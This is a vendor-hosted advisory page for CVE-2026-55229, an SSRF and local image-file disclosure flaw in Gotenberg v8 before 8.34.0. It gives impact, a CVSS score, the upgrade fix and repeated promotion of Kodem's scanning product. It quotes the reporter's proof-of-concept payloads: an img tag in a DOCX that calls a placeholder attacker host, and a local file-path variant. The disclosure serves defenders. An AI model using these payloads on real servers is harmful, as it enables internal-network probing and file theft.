CVE-2026-55229 is a high-severity server-side request forgery (SSRF) vulnerability in github.com/gotenberg/gotenberg/v8 (go), affecting versions < 8.34.0. It is fixed in 8.34.0.
Summary Server-Side Request Forgery (SSRF) vulnerability affecting the /forms/libreoffice/convert endpoint in Gotenberg v8.33.0 running with the default configuration. By uploading a specially crafted DOCX document, an attacker can cause LibreOffice to automatically retrieve external resources during document conversion. As a result, outbound requests are made from the server hosting Gotenberg to attacker-controlled destinations. Additionally, the same document mechanism appears capable of referencing image resources from the local filesystem. During conversion, LibreOffice attempts to load those resources and embed them into the resulting document. PoC External Resource Retrieval Create a DOCX document containing the following content: <img src="http://[ATTACKER_HOST]:[PORT]/path?query=somedata"> Upload the document to the /forms/libreoffice/convert endpoint. During document processing, LibreOffice automatically retrieves the referenced external resource. An outbound request can be observed on Burp Collaborator: Local Resource Retrieval Create a DOCX document containing the following content: <img src="/path/to/image.png"> Upload the document to the /forms/libreoffice/convert endpoint. During document conversion, LibreOffice loads the referenced image from the local filesystem and embeds it into the generated output document. Result in output document (used payload - <img src="/usr/share/pixmaps/debian-logo.png">): <img width="1346" height="397" alt="result" src="https://github.com/user-attachments/assets/52e18316-6654-4341-82e8-14df6c1d7d5e" /> Impact The identified vulnerability enables two primary attack vectors: Blind SSRF: The conversion service allows arbitrary outbound HTTP(S) requests during document processing. Although response bodies are not returned to the user, this can be leveraged for internal network discovery and interaction with services accessible only from the internal network or relying on network-level trust assumptions. Local File Disclosure via Image Resource Loading: The conversion engine allows local filesystem resources to be accessed during document rendering when referenced as image sources in the uploaded document. By specifying local file paths in image tags, LibreOffice resolves and embeds the referenced image content into the generated output document. This behavior is limited to resources loadable as images during document conversion, rather than general file read primitives, but may still allow retrieval of sensitive files accessible to the LibreOffice process. Notes The issue was reproduced on Gotenberg v8.33.0 under the default configuration. Given the impact of arbitrary outbound HTTP(S) requests (SSRF) and limited local filesystem resource disclosure via image resource loading during document conversion, this issue may warrant a CVE assignment.
Untrusted input controls the target URL of a server-initiated request, which may reach internal services not otherwise accessible from outside. Typical impact: access to internal metadata services, internal APIs, or cloud credentials.
CVE-2026-55229 has a CVSS score of 7.5 (High). The vector is network-reachable, no privileges required, and no user interaction. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment.
A fixed version is available (8.34.0). Upgrading removes the vulnerable code path.
go
github.com/gotenberg/gotenberg/v8 (< 8.34.0)github.com/gotenberg/gotenberg/v8 → 8.34.0 (go)Severity tells you how bad this could be in the worst case. It does not tell you whether you are exposed. Exploitability and impact are functions of runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A vulnerable package can sit in your dependency tree and never run.
Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter instead of chasing every advisory.
Kodem's runtime-powered SCA identifies whether CVE-2026-55229 is reachable in your applications. Explore open-source security for your team.
See if CVE-2026-55229 is reachable in your applications. Get a demo
Upgrade github.com/gotenberg/gotenberg/v8 to 8.34.0 or later to resolve this vulnerability.
Kodem Kai can prioritize this vulnerability in your dependency tree and generate a fix recommendation.
CVE-2026-55229 is a high-severity server-side request forgery (SSRF) vulnerability in github.com/gotenberg/gotenberg/v8 (go), affecting versions < 8.34.0. It is fixed in 8.34.0. Untrusted input controls the target URL of a server-initiated request, which may reach internal services not otherwise accessible from outside.
CVE-2026-55229 has a CVSS score of 7.5 (High). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
github.com/gotenberg/gotenberg/v8 (go) versions < 8.34.0 is affected.
Yes. CVE-2026-55229 is fixed in 8.34.0. Upgrade to this version or later.
Whether CVE-2026-55229 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
Upgrade github.com/gotenberg/gotenberg/v8 to 8.34.0 or later.